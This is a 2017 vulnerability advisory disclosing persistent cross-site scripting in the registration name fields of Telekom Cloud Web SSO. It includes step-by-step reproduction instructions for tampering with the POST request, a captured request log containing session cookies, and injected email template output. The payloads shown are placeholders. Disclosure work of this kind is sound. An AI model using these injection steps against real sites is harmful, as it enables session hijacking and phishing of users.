Telekom Cloud SSO Cross Site Scripting

`Document Title:  
===============  
Telekom Cloud SSO - Multiple Persistent XSS Vulnerabilities  
  
  
References (Source):  
====================  
https://www.vulnerability-lab.com/get_content.php?id=2021  
  
Incident ID: 20161205_FKr_02  
  
Vulnerability Magazine: https://www.vulnerability-db.com/?q=articles/2017/01/03/telekom-cloud-web-sso-vulnerable-bypass-persistent-xss-attacks  
  
Security Acknowledgements:   
https://www.telekom.com/de/verantwortung/datenschutz-und-datensicherheit/sicherheit/sicherheit/danksagungen-342720  
  
  
Release Date:  
=============  
2017-02-09  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
2021  
  
  
Common Vulnerability Scoring System:  
====================================  
4.3  
  
  
Product & Service Introduction:  
===============================  
Die Open Telekom Cloud der Deutschen Telekom AG ist ein Infrastructure-as-a-Service-Angebot aus der Public Cloud.   
Sie basiert auf OpenStack-Technologie und wird in den Rechenzentren der Tochtergesellschaft T-Systems International   
GmbH in Biere bei Magdeburg nach deutschen Datenschutzstandards betrieben. Ressourcen der Open Telekom Cloud kAPnnen   
anhand des Domain Name Service einfach mit den eigenen Firmennetzwerken verbunden werden. Nutzerdaten und   
Berechtigungen werden zentral A1/4ber das myWorkplace-System der Telekom verwaltet.   
  
(Copy of the Homepage: https://de.wikipedia.org/wiki/Open_Telekom_Cloud )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered multiple persistent input validation web vulnerabilities in the official Telekom Cloud Web SSO web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-12-03: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)  
2016-12-04: Vendor Notification (Telekom Cert - Security Department)  
2016-12-14: Vendor Response/Feedback (Telekom Cert - Security Department)  
2017-01-01: Security Acknowledgements (Telekom Cert - Security Department)  
2016-02-08: Vendor Fix/Patch (Telekom Service Developer Team)  
2017-02-09: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Telekom AG  
Product: T-Systems Cloud Web SSO (Web-Application) 2016 Q4  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
Multiple persistent input validation vulnerabilities has been discovered in the Telekom T-Systems Cloud Web SSO web-application and backend.  
The vulnerability allows remote attackers to inject own malicious script code on the application-side of the vulnerable module or function.  
  
The persistent vulnerabilities are located in the `firstName` and `lastName` input fields of the registration formular. Remote attackers are able   
to inject a payload as `firstname` and `lastname` via POST method request on `registration` to manipulate the connected frontend and backend service   
of the cloud web sso service. The execution of the name values takes place in the `profile` section, `backend` on preview and in the service `emails`   
outgoing through the telekom web-server system. The injection points are the name input fields during the registration for any package and the   
execution takes place in the outgoing service emails, the profile and the backend on preview. The attack vector of the vulnerability is persistent   
and the request method to inject is POST. The issue poses a significant risk to managers and users because of the persistent inject method used   
by the remote attacker.  
  
The basic filter disallows to input special chars. So the request needs to be manipulated within the performed request and not ahead on local input.   
Thus finally allows an attacker to bypass the validation to inject a payload for execution in another layer. We used [email protected] to confirm   
the vulnerability in the telekom cloud sso web service.  
  
The security risk of the persistent input validation vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.3.  
Exploitation of the persistent input validation web vulnerability requires low user interaction and a low privilege web-application customer user account.  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source   
and persistent manipulation of affected or connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Service(s):  
[+] Telekom Cloud (websso.t-systems.de)  
  
Vulnerable Module(s):  
[+] Cloud & Service Registration  
  
Vulnerable Input(s):  
[+] Vorname  
[+] Nachname  
  
Vulnerable Parameter(s):  
[+] firstName  
[+] lastName  
  
Affected Module(s):  
[+] Frontend (Profile)  
[+] Backend (Preview Information)  
[+] Serice Emais (Outgoing on Interaction)  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by remote attackers with low privilege web-application user account and with low user interaction.  
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Open the telekom cloud webpage  
2. Move to the registration  
3. Include your values and an email that you administrate  
4. Start a live session tamper for the http protocol  
5. Submit the registration and change in the live http request via tamper the name parameters to test payloads  
6. Continue the request to receive the server answer 200OK  
7. Check the email were the first execution point occurs and then request for example a new password to see the effects  
8. In the next step watch the user profile that displays the database credentials  
9. Now, moe over as administrator in the backend and approve the information encode for the accounts to watch the execution point  
10. Successful reproduce of the persistent remote vulnerability in the telekom cloud sso web service!  
  
  
--- PoC Session Logs [POST] (Inject) ---  
Status: 302[Found]  
POST https://apps.telekomcloud.com/accountSetup/46bc12d7-5226-41d4-83e5-976d63b1bd88?193204689-1.IFormSubmitListener-accountSetupWrapper-accountSetupContent-activateForm   
Mime Type[text/plain]  
Request Header:  
Host[apps.telekomcloud.com]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0]  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Referer[https://apps.telekomcloud.com/accountSetup/46bc12d7-5226-41d4-83e5-976d63b1bd88?193204689]  
Cookie[rfat=0; JSESSIONID=10E4F0369D506A3952B1440093C7AE95-n1; keychain=92c06fef18bdf4b5d3eb9d2ab345b2768a365d761e04ce1cefc38fbe593ec93f7ba3a91b04d3a3c31dac0fcfb35a94c6c921b6ffbcf8469eb583bf4df1dd55f0]  
POST-Daten:  
id18_hf_0[]  
titleTypeRadioGroup[radio21]  
firstName[MALICIOUS INJECTED PAYLOAD!]  
lastName[MALICIOUS INJECTED PAYLOAD!]  
passwordBorder%3ApasswordBorder_body%3Apassword[chaos666]  
confirmBorder%3AconfirmBorder_body%3AconfirmPassword[chaos666]  
companySetupForm%3AcompanyNameBorder%3AcompanyNameBorder_body%3AcompanyName[KPI+SMU]  
companySetupForm%3ArequiredPhoneNumber%3ArequiredPhoneNumber_body%3AphoneNumber[31337]  
companySetupForm%3AsizeRadioGroup[SMALL]  
companySetupForm%3AinputIndustry[1]  
marketingPanelContainer%3AmarketingCheckbox[on]  
privacyPanel%3AprivacyCheckboxBorder%3AprivacyCheckboxBorder_body%3AprivacyCheckbox[on]  
noStepActivateButton[]  
Response Header:  
Date[Sun, 04 Dec 2016 14:13:05 GMT]  
X-UA-Compatible[IE=Edge]  
X-Content-Type-Options[nosniff]  
X-XSS-Protection[1; mode=block]  
Cache-Control[no-cache, no-store]  
Pragma[no-cache]  
Expires[Thu, 01 Jan 1970 00:00:00 GMT]  
X-Frame-Options[SAMEORIGIN]  
Strict-Transport-Security[max-age=0 ; includeSubDomains]  
Set-Cookie[JSESSIONID=8DF92319BF793069FE9A216084CFDE64-n1; Path=/; Secure; HttpOnly  
userCompanyInfo=%7B%22userCompanyHash%22%3A%227bb1053b07687b619bcef44222ed892a%22%2C%22lastModified%22%3A1480860785925%7D;   
Domain=.telekomcloud.com; Path=/; Secure; HttpOnly]  
Location[https://apps.telekomcloud.com/home?src=activateAccount]  
Content-Length[0]  
Access-Control-Allow-Origin[https://cloud.telekom.de]  
access-control-allow-credentials[true]  
access-control-allow-methods[POST, OPTIONS]  
access-control-allow-headers[Accept-Encoding, Origin, X-Requested-With, Content-Type, Accept]  
Keep-Alive[timeout=15, max=98]  
Connection[Keep-Alive]  
Content-Type[text/plain]  
  
  
Vulnerable Source (Emails - Reset, Register & Co.)  
<img class="imgClass" style="margin: 0px; padding: 0px; border: medium none currentcolor;   
display: block;" alt="Herzlich Willkommen in der TelekomCLOUD"   
src="mailbox-message://bkm%40evolution-sec%[email protected]/Inbox#704264296?header=saveas&part=1.2.5"   
width="580" height="275">  
</td>  
</tr>  
</tbody>  
</table>  
<!-- Start Container -->  
<div> <!-- Start Anschreiben -->  
<table class="container" width="580" cellspacing="0" cellpadding="0" border="0">  
<tbody>  
<tr>  
<td style="height: 20px; line-height: 0; font-size: 0px;" valign="top">&nbsp;</td></tr>  
<tr>  
<td class="mobile" style="width: 580px;">  
<p style="padding: 0px; text-align: left; color: #4b4b4b; line-height: 20px;   
font-family: Arial, sans-serif; font-size: 14px; margin-top: 0px; margin-bottom: 0px;">  
<strong>Sehr geehrte(r) Herr/Frau >"<[MALICIOUS INJECTED SCRIPT CODE PAYLOAD EXECUTION!]>,</strong><br /><br />  
ab sofort ist Ihr Account im Service-Portal MyWorkplace aktiviert.   
Auf MyWorkplace k&ouml;nnen Sie Ihre Cloud L&ouml;sung konfigurieren und verwalten.   
Sobald Sie Ihren gebuchten Cloud-Service nutzen k&ouml;nnen, erhalten Sie eine Ready-for-Service-E-Mail.</p>  
</td></tr></tbody>  
</table>  
<!-- Ende Anschreiben -->  
</div>  
<div> <!-- Start Fliesstext + opt. link -->  
<table border="0" width="580" cellspacing="0" cellpadding="0" class="container">  
<tbody><tr><td valign="top" style="height: 20px; line-height: 0; font-size: 0px;">&nbsp;</td>  
</tr><tr>  
... ... ... ...  
<td class="mobile" width="580"><img alt="Herzlich Willkommen in der TelekomCLOUD" class="imgClass" style="margin: 0; padding: 0;   
border: none; display: block;" src="https://www.websso.t-systems.de/kulipa/public/optinmail/visual.jpg"   
width="580" height="275" border="0"></td></tr>  
</tbody></table> <!-- Start Container -->  
<div>  
<!-- Start Anschreiben -->  
<table class="container" width="580" cellspacing="0" cellpadding="0" border="0">  
<tbody>  
<tr>  
<td style="line-height: 0; font-size: 0" valign="top" height="20">&nbsp;</td>  
</tr>  
<tr>  
<td class="mobile" width="580">  
<p style="font-family: Arial, sans-serif; font-size: 14px; line-height: 20px; color: #4b4b4b;   
padding: 0; Margin-bottom: 0; Margin-top: 0; text-align: left;">  
<strong>Sehr geehrter Herr >"<[MALICIOUS INJECTED SCRIPT CODE FIRSTNAME EXECUTION!]> <[MALICIOUS INJECTED SCRIPT CODE LASTNAME EXECUTION!]>,</strong>  
<br> <br> vielen Dank f&uuml;r Ihre  
Registrierung im <strong>Telekom</strong>CLOUD  
Portal. <br> <br> Um Ihren Account zu  
aktivieren, bitten wir Sie nun Ihr Passwort f&uuml;r Ihren  
Zugang festzulegen. Bitte gehen Sie daf&uuml;r auf die  
Aktivierungsseite:  
</p></td></tr>  
</tbody>  
</table>  
  
  
Reference(s):  
https://cloud.telekom.de/de/registrieren/  
https://www.websso.t-systems.de/  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability in the cloud sso web service can be patched by a secure parse of the vulnerabel firstName and lastName input fields.  
Restrict via disallowing the usage of special chars and script codes within the submit POST method request outside the basic form input.  
Parse all output locations in the different layers were the execution takes place ... frontend, backend & outgoing emails.  
In the outgoing emails only the dbms header information with the %userdata needs to be parsed to ensure the basic html template is sanitized securly.  
  
  
Security Risk:  
==============  
The security risk of the vulnerability in the web-application of the telekom t-systems cloud is estimated as medium. (CVSS 4.3)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)  
  
  
Disclaimer & Information:  
=========================  
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